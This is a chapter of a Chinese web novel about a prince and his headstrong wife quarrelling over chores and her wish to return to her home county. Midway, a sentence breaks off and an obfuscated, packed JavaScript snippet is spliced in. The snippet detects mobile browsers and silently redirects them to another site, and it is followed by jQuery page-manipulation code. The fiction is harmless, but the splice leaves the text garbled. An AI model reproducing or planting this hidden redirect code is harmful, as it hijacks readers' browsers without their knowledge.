秋日见凉,院落铺了厚厚一层落叶,孟初一手里拿着扫帚,站在落叶之中。
每日外出玩乐,府中的落叶去向她自然不知,只知道院中一尘不染,秋日的阳光很是舒适。
肚子咕噜一声,很是应景。
不难猜想,定是他特意嘱咐过,将满院的落叶留给她。
小气鬼。
再怎么说昨晚也是体力活,这一大早便要她清扫这偌大的院落。
她在心里骂了一千字的违禁词之后,认命的拿起扫帚,大力一挥。
落叶飞散,在空中荡出好看的弧度,纷纷扬扬。
她不知那人在何处,气愤地将落叶扫向书房方向。
“去你的吧!”
脑袋虽然暂时保住了,可当粗使丫头的命运却像是锁链,一把套在了脖子上。
扫了还没两下,胳膊就软了几分,鼻尖沁出汗珠子来。
每日享乐的日子过了这么久,腹中空空,饥肠辘辘,腰酸腿软,哪还有什么力气。
嬷嬷也不知去了哪里,院里只剩下自己孤零零一人,她扁扁嘴,继续拿扫帚出气。
枯叶飘飞,有几枚落在书房半掩的窗棂上。
顾青山坐在桌案后面,微抬着下巴看向窗外。
手上的书页许久未翻,看得入神。
“再过半个时辰,便让她休息,鼎煮羊羔肉焖得酥烂些。”
嬷嬷站在桌案后,垂眸笑道,“那扫帚都包着锦布,后厨早就将夫人爱吃的菜色备好了。”
半晌,顾青山才缓缓收回目光,淡声道。
“或许,用不上半个时辰。”
嬷嬷立刻轻声应道,“奴家这就去提醒。”
“不必。”他的视线又不自觉飘向窗外,语气微沉,“还是半个时辰。”
嬷嬷一怔,不知王爷的心思怎个飘忽不定,但还是极快的应下,“那奴才退下了。”
他这才轻轻颔首,重新将目光落回书上,眼底带着一丝不易察觉的笑意。
一炷香的时间还没到,就偷懒上了树,桃源县有什么好?偏偏这种舒坦日子不过?
想到此处,他啪地一声合上了册子,闭眼捏了捏鼻梁。
心头似是裹了一层浸透的湿棉花,他被闷地扯了扯衣领。
树上的孟初一躺在树杈上,翘着二郎腿,微微闭眼,享受着初秋的日头。
她嗅了嗅鼻子。
“焖羊肉,香…”
昨日自己的狐朋好友还说今儿个要去猎场猎鹿,都答应的好好的,却不成想失约了。
也不知他们会不会来找自己,徐天那头又是怎么帮自己推诿。
三九就这么扔下自己出去快活,也不知自己的长姐要开始每日水深火热。
暖秋的日头晒得人昏昏欲睡,若有若无的桂花香混着羊肉的香气直往鼻子里钻。
想着昨日的温存,她不免更加气恼。
果然床上的男人净说些鬼话不可信,胖婶儿说的果然没错,虽然十五并没说什么,只一味苦干。
想东想西,却止不住肚饿,她掀开眼皮,望着天上飞远的大雁喃喃自语。
“我若是能飞便好了,飞出这府邸,飞得远远的…”
她突然怀念起桃源县,石板村。
山里行走的那些日子,虽然填不饱肚子,可也是自由快活的。
她又想起胖婶儿,那个善良的女人。
也不知郎中治好了她的病没有,她有了自己想要的娃娃没。
有生之年还能否再见的问题,又跳到眼前,她晃晃脑袋,叹了一口气。
她幽怨的看向天边,南去的大雁只在稀白的云层之中划出一条线来,再无踪影。
只是这伤感来的快,消失的也快。
她手里攥着筷子,吃着香喷喷的羊肉,感叹不已美食的力量。
“这羊肉做得顶顶好吃,嬷嬷你也吃!”
“夫…初一,你慢些吃,吃快了食积腹痛,难受着。”
她两颊鼓鼓,满不在乎,“不是说那叶子扫不完不能睡觉么,我吃再多也无事。”
苦中作乐,她倒是看得开。
就算死,也得做个饱死鬼再说。
食毕,孟初一舒展了下身体,阔步走向院中,又扫得虎虎生风。
只不过还没半盏茶的时间,孟初一又趁着无人看管,灵活爬上了树,睡起了午觉。
顾青山坐在书房之中,还在处理一桌的案宗。
“王爷,您歇歇吧…”
嬷嬷看着桌上的饭菜又冷了,忧心他的身体。
顾青山眉头还皱着,积攒的事务都等着他批复处理,“先撤下吧,一会儿再吃。”
他抬起头,看向窗外,“让她回屋歇着,明日再扫,风凉。”
“王爷,夫人贪玩,还是孩子的性子,有什么事说开了便是…”嬷嬷小心开口,不想这小夫妻还闹着。
“退下吧。”
嬷嬷看着他还紧锁的眉头,躬身退出屋外。
顾青山起身,站在窗边,看着树杈上的她被嬷嬷叫醒,又看她轻轻跃下树枝。
秋风扬起她的发丝,给她的身周镀了一层柔光。
他心里松了一分,抬脚走出门去。
鞋都来不及脱的孟初一,趴在拔步床上,昏昏欲睡,门外的脚步声渐近。
“嬷嬷,我就睡一小会,你放心,晚上肯定就扫的一片叶子都不剩。”
她的声音闷在枕头里,带着一丝疲惫。
“怎么?知累了?”
不是嬷嬷,她身子一紧,一骨碌坐起身,两个手指搅着衣摆,讨好的笑了笑。
“知,怎么不知,你瞧瞧,我这手心都起茧子了!”
她手里哪有什么茧子,能舞得动柴刀,射得到熊罴,扫了几下院落,自然不痛不痒。
顾青山睨了一眼她张开的双手,好笑至极。
“那可怎么办?那满院的落叶丁点没少。”
孟初一心情不是太好,但还是耐着性子哄阎王。
“做了都做了,你若是横竖觉得我碍眼,放我走便是…”她小声嘀咕了一声。
这话一出,顾青山唇角噙着的笑意骤然消失,脸上的阴云让他的身周温度急降。
孟初一看他那模样,就知道自己说错了话,但是后悔也晚了。
他冷笑道。
“果然当粗使丫头不如当县令公子的夫人舒服,你想回桃源县,那便死了这条心罢!”
孟初一不知他总是提什么沈扶苏做什么,心里也来了火气。
她索性又躺回床上,背过身去,一声不吭。
若是她回嘴,他还没这么气闷,她徒留一个气鼓鼓的背影,倒是让他一拳打在了棉花上。
顾青山沉着脸,转身走出。
果然。
她一心想离开他。
他快步走回书房,看见书房里刚回府的徐天。
徐天刚要禀明前线战况,却被王爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262433|192101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话给弄得丈二摸不着头脑。
“本王倒要看看,她能惦记到几时!”
徐天不敢开口,只躬身立在一旁。
沉默了许久,徐天小心开口,“王爷,夫人的那帮…朋友,小的已经回了夫人去了乡下,再不回京城…”
“嗯。”
徐天小心观察了下王爷的神色,见他面色沉着。
顾青山翻了翻桌案上的战报,咬着牙。
“她爱惦记谁惦记谁,一个县令公子罢了,本王稀罕。”
徐天愣了一瞬,把笑死死憋住。
“王爷,要不查查那县令公子?”
顾青山铁青着脸。
“查他做什么?本王从不在意!”
“王爷,您这是…较上劲了?”
“战线吃紧,你倒是无事,我看你明日启程。”
“我错了…”
徐天终究没有被发配,但是他弄明白了一件事。
王爷真是不懂女人的心思。
虽然他也未成亲,可也隐隐觉得再怎样也不该是他这般行事才对。
况且夫人又不是泥捏的性子,两个拧巴在了一起,更是难以说开。
只是他却再不敢多言语一句,他还想留在京城。
……
秋风卷着落叶,宫灯微弱的幽光摇摇晃晃。
已是深夜,顾青山这才走出书房。
他顺着连廊走向熟悉的寝房,却呆愣在门口。
门怎个也推不开。
他抬手按了按眉心,失笑出声。
好你个孟初一。
屋内门窗紧闭反锁,她躺在床上,枕头下压着钥匙。
“你开门!我知你没睡!”
“不开,男女授受不亲!”
“你以为抵上门,本王就进不去?”
“王爷是九五之尊,何必跟我一个粗使丫头较劲。”
顾青山的语气沉下来。
“你就这么不想见本王?”
孟初一翻了个身,双手环胸,曲起二郎腿。
“夜深了,王爷还是好生歇息吧。”
知道他没想要自己的脑袋瓜,孟初一现在嚣张了不少。
顾青山咬着牙,甩袖离去。
他本想着自己还是应该耐着性子讲道理,现在却被她的行径气得够呛。
现在竟然还跟自己划清界限,果真是不想待在自己身旁。
他一脚踹在院中的桂花树上,震得桂花儿下雨似的落了一地。
翌日一早。
嬷嬷牌闹钟又在窗棂下准时响起。
孟初一伸了个懒腰,坐在床上揉了揉眼睛。
“起了起了,穿衣裳呢。”
她又跌回软糯的枕头上。
嬷嬷又在念,孟初一又坐起身。
“起了起了,穿鞋呢。”
就这么一来一回,孟初一这才开锁推开门,打着哈欠。
落叶又多了些,上面还掺着桂花,香气袭人。
孟初一又开始了磨洋工的一天,只不过身旁多了一个贴身监工。
她看着嬷嬷,好心说道。
“嬷嬷,你回去歇着,你放心,今儿个指定扫得完。”
嬷嬷笑着摇摇头,“王爷说了,今日您扫不完,我就得跟在一边。”
孟初一没法,三两下将院落里的落叶扫得七七八八,没想到嬷嬷又说了一句。
“王爷说,扫完了去书房伺候。”